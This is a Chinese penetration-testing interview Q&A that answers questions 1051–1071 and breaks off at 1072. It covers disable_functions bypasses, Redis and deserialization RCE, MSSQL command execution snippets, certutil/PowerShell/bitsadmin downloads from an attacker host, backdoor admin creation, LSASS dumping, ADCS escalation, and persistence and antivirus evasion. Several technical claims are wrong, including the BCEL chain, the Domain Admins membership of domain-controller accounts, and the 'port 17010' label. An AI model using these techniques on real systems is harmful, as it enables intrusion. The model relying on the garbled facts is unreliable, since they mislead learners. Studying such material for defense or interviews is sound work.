2026年渗透测试面试题总结-36(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

复制代码
1051	代码审计,做过哪些,主流的代码审计 java 框架请简述
1052	泛微,致远,用友这三套系统代码框架简述
1053	泛微的前台漏洞触发和后台漏洞触发,如何通用性的挖泛微的洞,泛微能反序列化吗, 怎么挖
1054	php 代码审计如果审计到了一个文件下载漏洞,如何深入的去利用?
1055	php 里面的 disable_function 如何去进行绕过,为什么可以绕过,原理是什么
1056	假如说,在攻防的时候,控下来一台机器,但是只是一台云主机,没有连接内网,然后 也没有云内网,请问怎么深入的对这台云主机进行利用?
1057	redis 怎么去做攻击,主从复制利用条件,为什么主从复制可以做到拿 shell,原理是什 么,主从复制会影响业务吗,主从复制的原理是什么?
1058	becl 利用链使用条件,原理,代码跟过底层没有,怎么调用的?
1059	假如我攻击了一台 17010 的机器,然后机器被打重启了,然后重启成功后,机器又打成 功了,但是无法抓到密码,为什么无法抓到,这种情况怎么解决这个问题?
1060	内网我现在在域外有一台工作组机器的权限,但是没有域用户,横向也不能通过漏洞打 到一台域用户的权限,但是我知道一定有域,请问这种情况怎么进入域中找到域控?
1061	jboss 反序列化漏洞原理
1062	内网拿到了一台 mssql 机器的权限,但是主机上有 360,一开 xpcmdshell 就被拦截了, 执行命令的权限都没有,这种情况怎么进行绕过。
1063	什么是 mssql 的存储过程,本质是什么?为什么存储过程可以执行命令?
1064	如果想通过 mssql 上传文件,需要开启哪个存储过程的权限?
1065	内网文件 exe 落地怎么去做,用什么命令去执行来落地,如果目标主机不出网怎么办?
1066	内网域渗透中,利用 ntlm relay 配合 adcs 这个漏洞的情况,需要什么利用条件,responder 这台主机开在哪台机器上,为什么,同时为什么 adcs 这个漏洞能获取域管理员权限,原理 是什么
1067	内网域渗透中,最新出的 CVE-2022-26923 ADCS 权限提升漏洞需要什么利用条件,原理 是什么,相比原来的 ESC8 漏洞有什么利用优势?
1068	内网渗透中,如果拿到了一套 vcenter 的权限,如何去进一步深入利用?db 文件如何解 密?原理是什么?
1069	vcenter 机器拿到管理员密码了,也登录进去了,但是存在一个问题,就是内部有些机 器锁屏了,需要输入密码,这个时候怎么去利用?
1070	内网权限维持的时候,360 开启了晶核模式,怎么去尝试权限维持?计划任务被拦截了 怎么办?
1071	mssql 除了 xpcmdshell,还有什么执行系统命令的方式?需要什么权限才可以执行?
1072	如果 net group "Domain Admins" /domain 这条命令,查询域内管理员,没法查到,那么 可能出现了什么问题?怎么解决
1073	查询域内管理员的这条命令的本质究竟是去哪里查,为什么输入了之后就可以查到?
1074	免杀中,如何去过国内的杀软,杀软究竟在杀什么?那么国外的杀软比如卡巴斯基为什 么同样的方法过不了呢?
1075	免杀中,分离免杀和单体免杀有啥区别,为什么要分离,本质是什么?
1076	打点常用什么漏洞,请简述
1077	内网横向中,是直接进去拿一台机器的权限直接开扫,还是有别的方法?
1078	钓鱼用什么来钓?文案思路?如何判断目标单位的机器是哪种协议出网?是只做一套来钓鱼还是做几套来钓鱼?如何提高钓鱼成功率?
1079	钓鱼上线的主机,如何进行利用?背景是只发现了一个域用户,但是也抓不到密码,但是有域
1080	sql注入在mysql和sqlserver中有什么区别

1051 代码审计,做过哪些,主流的代码审计 java 框架请简述

代码审计通常针对PHP、Java等语言的Web应用进行,目的是从源代码中发现安全漏洞。主流Java框架的审计需关注其特性和常见风险点:

  • Spring/Spring Boot

    • 关注点 :控制器参数绑定、表达式注入(SpEL)、SQL注入(MyBatis/Hibernate)、文件上传/下载路径遍历、反序列化(Jackson/Fastjson)、安全配置(如Security配置不当导致越权)。
  • Struts2

    • 关注点 :历史版本存在大量远程代码执行漏洞(OGNL表达式注入),需重点检查使用的Struts2版本及Action中对用户输入的处理。
  • Apache Shiro

    • 关注点 :身份认证和授权逻辑缺陷、RememberMe功能的反序列化漏洞(密钥硬编码、CVE漏洞)、权限绕过(路径匹配规则问题)。
  • Fastjson

    • 关注点@type属性导致的任意类反序列化漏洞(黑名单绕过)、AutoType开关状态。
  • 通用关注点:无论何种框架,均需审计:用户输入验证、SQL注入、XSS、CSRF防护、文件操作、命令执行、不安全的反序列化、XML解析(XXE)、日志敏感信息泄露等。

1052 泛微,致远,用友这三套系统代码框架简述

这三者都是国内主流的协同办公(OA)或ERP系统,基于Java开发,常因使用广泛、版本众多、定制化复杂而成为安全测试重点。

  • 泛微(e-cology) :基于J2EE,采用自研框架。其前台通常有大量Servlet接口,后台功能复杂。漏洞常出现在工作流、文件上传、Servlet接口未授权访问、SQL注入、反序列化(如BeanShell)等处。

  • 致远(A8/A6) :基于Struts2 + Spring + Hibernate(SSH)框架。因此历史上受Struts2漏洞影响很大。此外,其seeyon相关组件、文件上传、日志处理等也是漏洞高发区。

  • 用友(NC/U8等) :用友产品线多,NC系列通常基于Java,采用自研框架或结合Spring。漏洞常出现在Servlet接口、反序列化(如BeanShellXMLDecoder)、文件上传、SQL注入等。其ServiceDispatcher等核心Servlet是常见审计入口。

1053 泛微的前台漏洞触发和后台漏洞触发,如何通用性的挖泛微的洞,泛微能反序列化吗, 怎么挖

  • 前台与后台漏洞

    • 前台漏洞:指无需登录即可利用的漏洞,危害更大。如未授权访问的Servlet接口、文件包含、SQL注入、某些反序列化点。

    • 后台漏洞:需要登录后台后利用,如后台文件上传、模板注入、SQL注入等。

  • 通用挖洞思路

    1. 资产收集与版本识别:确定目标泛微版本,寻找对应版本的漏洞历史、源码或测试环境。

    2. 目录/文件扫描 :扫描/mobile//messager//interface//services/等常见目录和*.jsp*.do*.action等接口文件。

    3. Servlet接口审计 :泛微大量功能通过Servlet实现。使用工具或代码审计寻找继承HttpServlet的类,重点关注doGet/doPost方法中参数处理、文件操作、反序列化(ObjectInputStream)、表达式解析等危险操作。

    4. 反序列化。泛微历史版本中多次出现反序列化漏洞,例如:

      • 寻找接收Base64或二进制数据的接口。

      • 寻找使用了BeanShellBSFManagerXMLDecoder等危险组件的代码。

      • 利用已知的CommonsBeanutilsCommonsCollections等Gadget链进行测试。

    5. 工作流与文件操作:审计工作流相关代码,可能存在文件上传、模板注入(如FreeMarker)漏洞。

    6. 历史漏洞复用与绕过:研究已公开的泛微漏洞,尝试在新版本或不同路径下复现,或对WAF过滤规则进行绕过。

1054 php 代码审计如果审计到了一个文件下载漏洞,如何深入的去利用?

文件下载漏洞(任意文件读取)的深入利用取决于能读取的文件内容:

  1. 读取配置文件 :寻找数据库连接配置文件(如config.phpdatabase.ini),获取数据库账号密码,可能为后续SQL注入或数据库直接连接做准备。

  2. 读取源码文件:获取其他PHP文件源码,进行白盒审计,寻找更严重的漏洞(如代码执行、反序列化)。

  3. 读取敏感系统文件

    • /etc/passwd:了解系统用户。

    • /proc/self/environ:获取环境变量,可能包含路径、密钥。

    • /proc/net/arp/proc/net/tcp:了解内网网络信息。

    • Web服务器日志(如/var/log/apache2/access.log):可能包含管理员Cookie、密码等敏感信息。

  4. 读取Session文件 :PHP Session文件(如/tmp/sess_[PHPSESSID])可能包含用户会话信息,甚至反序列化对象,可能造成反序列化攻击或会话劫持。

  5. 读取.htaccess文件:了解服务器安全配置。

  6. 读取备份/压缩文件 :如.bak.tar.gz.zip文件,可能包含源码或数据库备份。

  7. 结合其他漏洞:将读取到的信息(如绝对路径、密钥)用于文件包含、反序列化等漏洞,形成攻击链。

1055 php 里面的 disable_function 如何去进行绕过,为什么可以绕过,原理是什么

disable_functions是PHP配置,用于禁止某些危险函数(如systemexecshell_exec等)。绕过原理是利用未被禁用的PHP功能或扩展来间接执行系统命令或代码

  • 常见绕过方法及原理

    1. LD_PRELOAD劫持 :利用mail()error_log()等未被禁用的函数,它们内部会调用/bin/shsendmail。通过编写恶意共享库,并利用putenv("LD_PRELOAD=/path/to/evil.so")设置环境变量,使得子进程加载时优先加载我们的库,从而执行构造函数或析构函数中的代码。原理:劫持外部程序执行时的动态链接过程。

    2. ImageMagick漏洞 :如果安装了ImageMagick扩展且版本存在漏洞(如GhostScript命令注入,CVE-2016-3714),可通过上传恶意图片触发命令执行。原理:利用第三方库的漏洞。

    3. COM组件(Windows) :在Windows环境下,如果启用了com_dotnet扩展,可以创建WScript.ShellShell.Application的COM对象来执行命令。原理:调用Windows组件接口。

    4. FFI扩展(PHP 7.4+) :如果启用了FFI扩展,可以直接调用C语言的system函数。原理:外部函数接口,直接调用系统库。

    5. PHP-FPM未授权访问/攻击 :通过伪造请求,与PHP-FPM通信,使其执行任意PHP代码。原理:攻击PHP的进程管理器。

    6. pcntl_alarm/pcntl_signal :利用信号处理函数配合pcntl_alarm,在超时信号中执行代码。原理:利用信号机制触发回调。

    7. **imap_open命令注入**:如果启用了imap扩展,imap_open`函数在特定参数下可能触发命令注入。**原理**:函数内部对参数处理不当。

1056 假如说,在攻防的时候,控下来一台机器,但是只是一台云主机,没有连接内网,然后 也没有云内网,请问怎么深入的对这台云主机进行利用?

即使是一台孤立的云主机,也有深入利用价值:

  1. 信息收集

    • 云元数据服务 :访问云服务商提供的元数据接口(如AWS的169.254.169.254,阿里云的100.100.100.200),获取实例角色、临时凭证、用户数据等。这些凭证可能用于访问其他云服务(如S3, RDS)。

    • 配置文件:查找Web应用、数据库、中间件的配置文件,获取数据库密码、API密钥、OSS访问密钥等。

    • 历史命令 :查看~/.bash_history, 了解管理员操作习惯和可能暴露的敏感信息。

    • 进程与服务:查看运行的服务,寻找配置不当或存在漏洞的服务。

    • 计划任务 :查看crontab, 了解定时任务,可能包含脚本路径或凭证。

  2. 凭证提取与横向移动

    • 内存提取 :使用mimikatz(Windows)或从/proc/[pid]/environ、内存中搜索(Linux)提取密码、令牌、SSH密钥。

    • SSH密钥 :查找~/.ssh/目录下的id_rsa等私钥,用于登录其他服务器。

  3. 权限提升:检查系统内核漏洞、SUID/GUID文件、错误配置的sudo权限、docker组权限等,尝试提权至root。

  4. 持久化:植入后门、创建隐藏用户、添加计划任务、安装Rootkit等。

  5. 作为跳板:虽然无内网,但可以:

    • 配置代理(如frpngrok),将这台主机作为攻击其他目标的跳板或流量中转。

    • 利用这台主机的IP信誉进行后续钓鱼或攻击,降低被封风险。

  6. 数据窃取:打包并窃取服务器上的业务数据、源代码、数据库备份等。

1057 redis 怎么去做攻击,主从复制利用条件,为什么主从复制可以做到拿 shell,原理是什 么,主从复制会影响业务吗,主从复制的原理是什么?

  • Redis常见攻击方式 :未授权访问/弱口令 -> 信息泄露 -> 通过config set写WebShell/SSH公钥 -> 主从复制RCE。

  • 主从复制利用条件

    1. Redis版本在4.x或5.x(支持模块功能)。

    2. 存在未授权访问或已知密码。

    3. Redis服务运行权限较高(可写目录)。

  • 主从复制拿Shell原理

    1. 原理:攻击者伪装成Redis从节点,请求目标Redis(主节点)进行全量同步。

    2. 恶意模块 :攻击者控制一个"恶意的Redis主节点",其中加载了自定义的.so扩展模块,该模块包含恶意命令(如system.exec)。

    3. 同步过程:当目标Redis作为主节点向恶意主节点请求同步时,恶意主节点会将自己的数据(包含恶意模块)以RDB文件格式传输给目标Redis。

    4. 加载模块:攻击者再通过Redis命令,让目标Redis加载这个同步过来的恶意模块,从而获得执行系统命令的能力。

  • 主从复制原理 :Redis主从复制是为了数据冗余和读写分离。从节点启动后,向主节点发送SYNCPSYNC命令请求同步。主节点执行BGSAVE生成RDB快照文件,并将期间和之后的写命令缓冲区发送给从节点,从节点加载RDB并执行命令,达到数据一致。

  • 会影响业务吗?。在攻击利用过程中,目标Redis会与攻击者伪装的"主节点"进行全量同步,这会导致:

    • 目标Redis可能清空自身数据(如果配置了slaveof后执行了flushall)。

    • 同步过程占用大量网络和I/O资源,可能影响Redis正常服务性能。

    • 因此,在真实攻击中需谨慎,可能造成业务中断。

1058 becl 利用链使用条件,原理,代码跟过底层没有,怎么调用的?

  • 利用链 :通常指BeanShell1利用链(commons-beanutils:1.8.3commons-beanutils:1.9.2+ commons-collections)。它是Java反序列化漏洞中常用的Gadget链之一。

  • 使用条件

    1. 目标ClassPath中存在commons-beanutilscommons-collections的兼容版本。

    2. 存在一个入口点,能触发java.io.ObjectInputStream.readObject()反序列化操作(如HTTP参数、RMI、JMX等)。

    3. 没有相应的安全防护(如SerialKiller过滤器、JEP 290)。

  • 原理简述 :该链利用BeanComparator类的compare方法,该方法会通过反射调用任意对象的getter方法。通过精心构造的PriorityQueue对象,在其反序列化后的heapify()-> siftDown()-> siftDownUsingComparator()-> comparator.compare()调用链中,触发BeanComparator.compare(),进而调用TemplatesImpl.getOutputProperties(),最终加载恶意字节码执行命令。

  • 调用过程(简化)

    1. PriorityQueue.readObject()反序列化时,会调用 heapify()

    2. heapify()调用 siftDown()

    3. siftDown()使用反序列化出来的 comparator(即BeanComparator)进行 compare操作。

    4. BeanComparator.compare()内部通过 PropertyUtils.getProperty()反射调用第一个参数对象的 getter方法。

    5. 第一个参数被设置为 TemplatesImpl对象,其 getOutputProperties()方法会触发类加载器定义并初始化恶意类,执行静态代码块中的代码。

1059 假如我攻击了一台 17010 的机器,然后机器被打重启了,然后重启成功后,机器又打成 功了,但是无法抓到密码,为什么无法抓到,这种情况怎么解决这个问题?

  • 背景 :17010端口通常与Windows的SMB服务相关,可能利用的是EternalBlue(MS17-010)漏洞。打重启说明漏洞利用成功,但可能触发了系统崩溃(BSOD)。

  • 无法抓到密码的可能原因

    1. 系统权限问题 :利用后获得的可能是SYSTEM权限,但mimikatz抓取密码需要Debug权限,且受LSASS进程保护机制影响。

    2. LSASS保护 :Windows 8.1/2012 R2之后引入了LSA Protection, Windows 10/2016之后有Credential Guard,这些会阻止对LSASS进程的内存读取。

    3. 杀软/EDR拦截 :安全软件实时监控并阻止了mimikatz等工具的运行或内存读取行为。

    4. 利用不稳定:漏洞利用过程可能不稳定,获得的Shell或会话环境异常,导致工具无法正常执行。

    5. 密码未缓存:目标机器上可能没有交互式登录的域用户密码缓存(例如,是服务器,只用域账户运行服务)。

  • 解决方案

    1. 尝试其他抓取方法

      • 使用procdumpTask Manager转储lsass.exe进程内存,下载到本地用mimikatz分析。

      • 使用nanodump等工具生成LSASS的迷你转储文件。

      • 尝试使用Rubeus请求TGT(如果已有有效的TGT或能通过其他方式认证)。

    2. 绕过保护

      • 如果是LSA Protection,可尝试修改注册表RunAsPPL临时禁用,或使用带有驱动程序的工具。

      • Credential Guard更难绕过,可能需要物理访问或利用其他漏洞。

    3. 不依赖密码

      • 直接添加用户:net user hacker Password123! /add & net localgroup administrators hacker /add(但可能触发警报)。

      • 使用msfcshashdump模块尝试抓取NTLM Hash(如果保护不严)。

      • 寻找磁盘上的密码文件、配置文件、数据库连接字符串等。

      • 利用当前权限进行横向移动(如使用WMI, SMB, PSExec等),尝试攻击其他机器。

1060 内网我现在在域外有一台工作组机器的权限,但是没有域用户,横向也不能通过漏洞打 到一台域用户的权限,但是我知道一定有域,请问这种情况怎么进入域中找到域控?

从域外工作组机器探测域环境并定位域控:

  1. 网络发现

    • 端口扫描 :扫描内网网段(如192.168.0.0/24)的53(DNS), 88(Kerberos), 135(RPC), 139/445(SMB), 389(LDAP), 636(LDAPS), 3268/3269(全局编录)端口。域控通常会开放这些端口。

    • NetBIOS/SMB扫描 :使用nbtscan或扫描445端口,寻找名称类似DC*DOMAIN*的主机。

  2. 协议查询

    • DNS查询 :尝试查询域控相关的DNS记录。在命令提示符下:nslookup -type=SRV _ldap._tcp.dc._msdcs.<域名>。但需要先知道域名。

    • 获取域名

      • 检查当前机器的DNS后缀、/etc/resolv.conf(Linux)或ipconfig /all(Windows)中的DNS服务器地址,通常DNS服务器就是域控。

      • 查看本地hosts文件、历史DNS缓存、或尝试常见域名(如corpinternal, 公司名缩写)。

  3. LLMNR/NBT-NS投毒与中继 :如果当前网络存在LLMNR/NBT-NS协议,可以使用ResponderInveigh工具进行投毒,当域内用户尝试访问不存在的资源时,会将其Net-NTLM Hash广播出来,我们可以捕获。如果同时有SMB签名关闭的机器,可进行NTLM Relay攻击,获得那台机器的访问权限,进而收集域信息。

  4. ARP扫描与流量监听:进行ARP扫描发现活跃主机,并监听网络流量(可能需要管理员权限),分析其中的Kerberos、LDAP、SMB流量,可能发现域控IP和域名。

  5. 利用共享或服务:检查当前机器上是否有来自域内机器的连接、共享文件夹、计划任务等,从中可能发现域机器的主机名或IP。

1061 jboss 反序列化漏洞原理

(与1046题类似,可更精炼)JBoss反序列化漏洞的核心是:其多个组件(如JMXInvokerServletHttpInvokerEJBInvokerServlet)在接收请求时,会直接对HTTP请求体中的Java序列化数据进行反序列化,调用ObjectInputStream.readObject()。攻击者可以构造一个包含恶意Gadget链(如CommonsCollections)的序列化对象,发送给这些端点。在反序列化过程中,Gadget链被自动执行,最终触发任意代码执行。漏洞根源在于JBoss信任了客户端传来的、未经验证的序列化数据

1062 内网拿到了一台 mssql 机器的权限,但是主机上有 360,一开 xpcmdshell 就被拦截了, 执行命令的权限都没有,这种情况怎么进行绕过。

xp_cmdshell被安全软件拦截时,可以尝试MSSQL中其他执行命令的方式:

  1. sp_oacreate& sp_oamethod :利用OLE自动化存储过程。需要sysadmin权限且启用Ole Automation Proceduressp_configure 'Ole Automation Procedures', 1; RECONFIGURE;)。

    复制代码
    DECLARE @shell INT; EXEC sp_oacreate 'wscript.shell', @shell OUTPUT; EXEC sp_oamethod @shell, 'run', null, 'cmd /c whoami';
  2. sp_oacreate调用 Win32_Process

    复制代码
    DECLARE @proc INT; EXEC sp_oacreate 'Win32_Process', @proc OUTPUT; EXEC sp_oamethod @proc, 'Create', NULL, 'notepad.exe';
  3. SQL Server Agent Jobs:如果SQL Server Agent服务在运行且有权限,可以创建作业来执行命令。但动作较慢,易被发现。

  4. CLR集成 :如果服务器启用了CLR,可以创建自定义CLR程序集来执行命令。需要UNSAFE权限。

  5. xp_regwrite+ 映像劫持 :通过注册表操作,劫持某个常用程序(如osk.exe)的启动项,替换为cmd.exe。需要等待用户或系统触发。

  6. 差异备份写WebShell:如果SQL Server有Web目录写权限,可以通过备份数据库的方式将ASPX WebShell写入Web目录。

  7. 绕过杀软命令 :即使能执行命令,也要注意命令本身可能被拦截。尝试使用certutilbitsadminrundll32等白名单程序下载文件,或使用无文件执行技术。

1063 什么是 mssql 的存储过程,本质是什么?为什么存储过程可以执行命令?

  • 存储过程:是存储在数据库中的一组预编译的SQL语句集合,可以接受参数、调用其他过程、返回状态值和结果集。用于封装复杂的业务逻辑。

  • 本质:是数据库引擎可执行的代码模块。在MSSQL中,存储过程通常用T-SQL编写,但也可以使用CLR集成用.NET语言编写。

  • 为什么可以执行命令 :MSSQL提供了一些扩展存储过程 (如xp_cmdshell)和系统存储过程 (如sp_oacreate),这些过程本身是用C/C++或.NET编写的,被编译成DLL并加载到SQL Server进程空间中。它们被赋予了直接与操作系统交互的能力。例如:

    • xp_cmdshell:实际上调用了Windows API CreateProcess来创建新进程执行命令。

    • sp_oacreate:通过COM/OLE自动化接口创建外部对象(如WScript.Shell),进而调用其方法。

      当拥有足够权限(通常是sysadmin)的用户调用这些存储过程时,SQL Server进程(以sqlservr.exe运行,通常具有较高权限)就会代表用户执行这些底层操作,从而实现了命令执行。

1064 如果想通过 mssql 上传文件,需要开启哪个存储过程的权限?

需要通过MSSQL上传文件(即将服务器上的文件内容读取到数据库中,或反之),主要涉及以下存储过程,需要相应权限:

  1. OPENROWSET :可用于读取文件内容。需要ADMINISTER BULK OPERATIONS权限。

    复制代码
    SELECT * FROM OPENROWSET(BULK N'C:\windows\win.ini', SINGLE_CLOB) AS Contents;
  2. xp_cmdshell :可以执行命令,因此可以通过echocertutilpowershell等命令来下载或创建文件。需要sysadmin权限且启用xp_cmdshell

  3. sp_oacreate :通过ADODB.StreamScripting.FileSystemObject对象来读写文件。需要sysadmin权限且启用Ole Automation Procedures

  4. 备份差异写入 :通过backup databaserestore database操作,可以向Web目录写入WebShell。需要对数据库有备份权限,且知道Web绝对路径。

    最常用 的是OPENROWSETxp_cmdshellOPENROWSET更适合直接读取文件内容到表中。

1065 内网文件 exe 落地怎么去做,用什么命令去执行来落地,如果目标主机不出网怎么办?

  • 文件落地方法

    1. 直接下载:如果主机出网,使用系统自带命令:

      • certutil -urlcache -split -f http://attacker.com/tool.exe C:\Windows\Temp\tool.exe

      • powershell -c "Invoke-WebRequest -Uri http://attacker.com/tool.exe -OutFile C:\temp\tool.exe"

      • bitsadmin /transfer job1 http://attacker.com/tool.exe C:\temp\tool.exe

    2. 文件共享:通过SMB共享从内网其他机器复制:`copy \192.168.1.10\share\tool.exe C:\temp`。

    3. FTP/TFTP :搭建FTP/TFTP服务器,使用ftp -s:script.txttftp -i attacker get tool.exe命令下载。

    4. VBS/JS脚本 :编写VBScript或JScript脚本,使用ADODB.Stream对象下载。

    5. Debug.exe(古老) :将exe转换为十六进制文本,通过debug.exe逐段还原,但文件大小受限。

  • 目标主机不出网

    1. 局域网传输:如果攻击者已控制内网另一台机器,可在其上搭建HTTP/SMB/FTP服务,让不出网主机从这台内网机器下载。

    2. DNS隧道 :使用DNSExfil等工具,将文件编码在DNS查询中传输,但速度慢。

    3. ICMP隧道:类似DNS隧道,使用ICMP协议的Data字段传输。

    4. 手工复制粘贴 :对于小文件,如果能有图形界面(如RDP),可手动复制粘贴内容,在目标机器上用echo命令逐行写入或使用certutil -decode解码Base64内容。

    5. 无文件执行 :优先考虑不落地exe的方式,如使用PowerShell内存加载(IEX)、Regsvr32MshtaRundll32等执行远程脚本或DLL。

1066 内网域渗透中,利用 ntlm relay 配合 adcs 这个漏洞的情况,需要什么利用条件,responder 这台主机开在哪台机器上,为什么,同时为什么 adcs 这个漏洞能获取域管理员权限,原理 是什么

  • 利用条件

    1. NTLM Relay条件 :能够捕获到Net-NTLM Hash(通过LLMNR/NBT-NS投毒、WPAD欺骗、打印机漏洞等),并且存在一个SMB签名关闭LDAP签名/通道绑定未强制启用的Relay目标。

    2. ADCS漏洞条件 :目标域内部署了Active Directory证书服务(AD CS),并且配置了允许域用户通过NTLM认证申请证书的证书模板(通常Web注册接口易出现此问题,对应漏洞编号ESC8)。

  • Responder主机位置 :Responder(用于投毒和捕获Hash)必须运行在能够收到目标网络广播包的位置,通常是与目标机器在同一网段的任何一台已控机器上。因为LLMNR/NBT-NS是基于链路层广播的协议,跨网段通常无法收到广播包。

  • ADCS漏洞获取域管权限原理(ESC8)

    1. Relay至AD CS Web接口 :攻击者利用Responder捕获到域用户(甚至域管理员)的Net-NTLM Hash后,将其Relay到AD CS的"证书注册Web接口"(默认/certsrv/)。

    2. 申请证书 :AD CS的Web接口支持NTLM认证。Relay成功后,攻击者将以该域用户的身份,请求一个允许客户端身份验证的证书模板(如User模板)。

    3. 获取用户证书:AD CS会颁发一个代表该域用户身份的证书给攻击者。

    4. 证书身份验证:攻击者使用这个证书,通过PKINIT Kerberos扩展进行身份验证,获取该域用户的TGT票据。

    5. 域管理员权限 :如果Relay到的恰好是域管理员的Hash,那么获得的证书就是域管理员的身份,从而直接获得域管理员权限。即使不是域管,也可以利用证书进行后续横向移动或权限提升(如配合ESC1漏洞模板)。

1067 内网域渗透中,最新出的 CVE-2022-26923 ADCS 权限提升漏洞需要什么利用条件,原理 是什么,相比原来的 ESC8 漏洞有什么利用优势?

  • CVE-2022-26923(ESC4变种/机器账户提权)利用条件

    1. 域内存在AD CS服务。

    2. 攻击者已控制一个普通的域用户账户。

    3. 该用户对自身或某个计算机账户的dNSHostName等属性拥有写权限(默认情况下,用户对自己加入域的计算机账户有写权限)。

  • 原理

    1. 属性伪造 :攻击者利用写权限,修改自己控制的计算机账户的dNSHostName属性,将其设置为域控制器的DNS主机名(如DC01.domain.com)。

    2. 申请证书 :然后以该计算机账户的身份,向AD CS申请一个证书。由于证书中的Subject Alternative Name会包含dNSHostName的值,因此证书中会包含域控制器的DNS名称。

    3. 身份欺骗 :当使用这个证书进行Kerberos认证时,Kerberos密钥分发中心(KDC)会将其视为域控制器的计算机账户。而域控制器的计算机账户默认是域Domain Admins组的成员。

    4. 权限提升:因此,攻击者获得了域控制器级别的TGT,从而提升至域管理员权限。

  • 相比ESC8的优势

    • 无需Relay :ESC8需要先捕获到高权限用户的Net-NTLM Hash并进行Relay。而CVE-2022-26923只需要一个低权限的域用户,通过修改属性这种主动操作即可完成提权,不依赖网络欺骗和Hash捕获。

    • 更直接:从低权限域用户直接提升到域管理员,路径更短。

    • 成功率可能更高:不依赖中间人攻击的成功率,只要属性修改成功且证书模板允许,即可完成。

1068 内网渗透中,如果拿到了一套 vcenter 的权限,如何去进一步深入利用?db 文件如何解 密?原理是什么?

  • 进一步深入利用

    1. 虚拟机逃逸:寻找VMware vCenter或ESXi主机本身的漏洞(如CVE-2021-21972),尝试从虚拟机管理层面突破到宿主机。

    2. 窃取虚拟机:直接下载虚拟机的磁盘文件(VMDK),在本地挂载分析,获取其中存储的敏感数据。

    3. 横向移动:vCenter通常管理大量虚拟机。可以通过vCenter向虚拟机下发命令、安装代理、创建快照并挂载磁盘等操作,直接控制其下的虚拟机。

    4. 权限维持:创建隐藏的管理员账户、后门虚拟机或模板。

    5. 信息收集:从vCenter中获取所有虚拟机的网络拓扑、IP地址、主机名、操作系统等信息,为后续横向移动做准备。

  • 数据库文件解密

    • vCenter的后台数据库(通常是PostgreSQL)存储了加密的密码等信息。数据库文件位于/storage/db/vpostgres/或类似路径。

    • 解密原理:vCenter使用一个固定的密钥(硬编码在软件中)或从特定文件中读取的密钥,对数据库中的敏感字段(如SSO密码)进行AES-256加密。解密需要:

      1. 找到加密的数据(在vpxd表的ip_addressuser_namepassword列)。

      2. 获取解密密钥。密钥可能来自:

        • vCenter服务器的/etc/vmware-vpx/ssl/symkey.dat文件。

        • 或硬编码在vCenter的可执行文件中。

      3. 使用已知的Python脚本(如vcenter-decrypt.py)结合密钥进行解密。这些脚本实现了vCenter使用的特定解密算法(通常是AES-256-CBC,并使用特定的IV生成方式)。

1069 vcenter 机器拿到管理员密码了,也登录进去了,但是存在一个问题,就是内部有些机 器锁屏了,需要输入密码,这个时候怎么去利用?

当通过vCenter控制台访问虚拟机但遇到锁屏时:

  1. 虚拟机快照与磁盘挂载

    • 为锁屏的虚拟机创建一个快照。

    • 将这个快照的磁盘挂载到另一台你已控制的虚拟机(或新建一台)上。

    • 在已控虚拟机中,访问挂载的磁盘文件,直接读取SAMSYSTEM文件(Windows)或/etc/shadow文件(Linux),然后使用mimikatzjohn进行破解。

  2. 虚拟机重置密码

    • Windows :使用vCenter的"客户机操作系统"功能,可以挂载一个ISO镜像(如Windows安装盘或Kon-BootPCUnlocker等工具盘),从光盘启动,绕过或重置本地管理员密码。

    • Linux :同样通过挂载ISO,进入单用户模式或chroot环境,直接修改/etc/shadow文件清空root密码。

  3. 内存转储分析 :如果虚拟机正在运行,可以通过vCenter创建虚拟机的内存转储文件。然后使用Volatility等工具分析内存镜像,从中提取明文密码、哈希或会话令牌。

  4. 等待与钓鱼:如果以上方法都不可行,可以记录下锁屏用户的用户名,然后结合内网信息收集,尝试对该用户进行钓鱼攻击,获取其密码。

1070 内网权限维持的时候,360 开启了晶核模式,怎么去尝试权限维持?计划任务被拦截了 怎么办?

360"晶核模式"是一种高强度防护模式,会严格监控系统关键位置和敏感操作。

  • 权限维持尝试思路

    1. 隐蔽启动位置

      • 用户启动目录C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

      • 注册表启动项HKCU\Software\Microsoft\Windows\CurrentVersion\Run(当前用户), HKLM\...\Run(所有用户)。注意修改注册表的行为也可能被拦截。

      • 服务 :创建新的系统服务或修改现有服务的ImagePath。需要管理员权限,且创建服务动作敏感。

      • WMI事件订阅:通过WMI永久事件订阅,在特定事件(如开机、登录、定时)触发执行payload。相对隐蔽。

      • Bits Jobs :使用bitsadmin创建持久化传输任务,可以指定完成后运行命令。

    2. 伪装与混淆

      • 将后门文件伪装成系统或常见软件文件,放在合法目录,并使用与原文件相似的名字。

      • 对payload进行强混淆或加密,避免静态查杀。

      • 使用白名单程序(如msbuildinstallutilregsvr32rundll32)来加载执行恶意代码,即"Living off the Land"。

    3. 内存马/无文件 :尝试注入到可信进程(如explorer.exesvchost.exe)中,或使用PowerShell脚本驻留内存,不向磁盘写入文件。

  • 计划任务被拦截

    • 换用其他定时机制

      • WMI事件订阅 :可以设定定时器(__IntervalTimerInstruction)来定期执行。

      • 等待与退出:如果只需要在用户登录时执行,可以使用注册表启动项或启动文件夹。

      • 服务配合:创建一个服务,在其代码中循环等待执行。

    • 利用系统自带任务:尝试修改现有的、看似合法的系统计划任务(动作要小心)。

    • 低频率触发:设置一个非常长的触发间隔(如每月一次),减少被检测到的概率。

1071 mssql 除了 xpcmdshell,还有什么执行系统命令的方式?需要什么权限才可以执行?

(部分与1062题重叠,此处系统化总结)

  1. sp_oacreate& sp_oamethod :需要sysadmin固定服务器角色权限,且需启用Ole Automation Proceduressp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;)。

  2. xp_regwrite+ 映像劫持/启动项 :需要sysadmin权限。通过写注册表实现持久化或命令执行。

  3. SQL Server Agent Jobs :需要能访问msdb数据库并创建作业的权限(通常是SQLAgentUserRole等角色)。利用作业的"步骤"来执行命令。

  4. CLR集成 :需要UNSAFE程序集权限,且服务器启用CLR(sp_configure 'clr enabled', 1; RECONFIGURE;)。可以创建用C#写的、能执行命令的程序集。

  5. xp_dirtree/ xp_fileexist :这些扩展存储过程本身不能执行命令,但可以用于信息收集(目录列表)或结合xp_cmdshell的启用。

  6. 差异备份写WebShell:需要对数据库有备份权限,且知道Web绝对路径。通过备份操作将ASPX脚本写入Web目录,然后通过Web访问执行命令。

1072 如果 net group "Domain Admins" /domain 这条命令,查询域内管理员,没法查到,那么 可能出现了什么问题?怎么解决

